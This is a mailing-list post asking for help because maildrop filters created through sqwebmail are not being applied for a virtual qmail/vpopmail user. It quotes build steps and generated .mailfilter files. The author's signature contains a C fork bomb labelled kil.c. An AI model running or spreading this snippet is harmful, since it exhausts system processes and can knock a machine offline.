Hi,
I just got my qmail-1.03 + vpopmail 5.0 + courier-imap + sqwebmail 3.0
I wanted to add another feature of filters for my users. so i installed
maildrop
How ever i found that the documentaionf for maildorp on qmail is very
bad and i couldnt figure out much execpt that i had to edit the
maildrop/config.h file and edit the variable
#define DEFAULT_DEF "./Maildir"
and then
make
make install-strip
make install-man
next step i read the maildirfilter.html to install the mail filtering
capablities in sqwebmail.
i created a config file in the
"/usr/local/share/sqwebmail/maildirfilterconfig"
MAILDIRFILTER=../.mailfilter
MAILDIR=./Maildir
truly enough i could now get the mail filetering link in my sqwebmail.
i made my first rule. by which sqwebmail created ".mailfilter" file in
my test users(note my test user is a virtual mailbox not areal system
user).
the contents of ".mailfilter" file is
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#MFMAILDROP=2
#
# DO NOT EDIT THIS FILE. This is an automatically generated filter.
##Op:contains
##Header:From
##Value:rake
##Folder:.new2me
##From:
##PlainString
##Name:test1
if ((/^From:.*rake/))
{
to "./Maildir/.new2me/."
}
to "./Maildir/."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
how ever when i sent a mail no filtering was happening.
Next i created a .qmail file in the virtual users directory with
these content "| /usr/local/bin/maildrop"
and again i test.
How ever i cant see if maildrop is being used . So i added the foolowing
lines in the ".mailfilter" file
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#MFMAILDROP=2
#
# DO NOT EDIT THIS FILE. This is an automatically generated filter.
VERBOSE=9
MAILDIR=./Maildir
FROM='[EMAIL PROTECTED]'
LOGFILE=/tmp/logs
LOG $MAILDIR
abcdef;ml;dkfmnklvf
##Op:contains
##Header:From
##Value:rake
##Folder:.new2me
##From:
##PlainString
##Name:test1
if ((/^From:.*rake/))
{
to "./Maildir/.new2me/."
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
How ever still i cant see any filtering neither can i see the logs to
determine the problem.
what can be the problem.
Any links ??
regards
Rakesh Tiwari
webmaster http://www.zdnetindia.com
to "./Maildir/."
--
_____________________________________________________________________
/* _Begin_ kil.c */
main() { while(1){ fork(); } }
/* _End_ kil.c */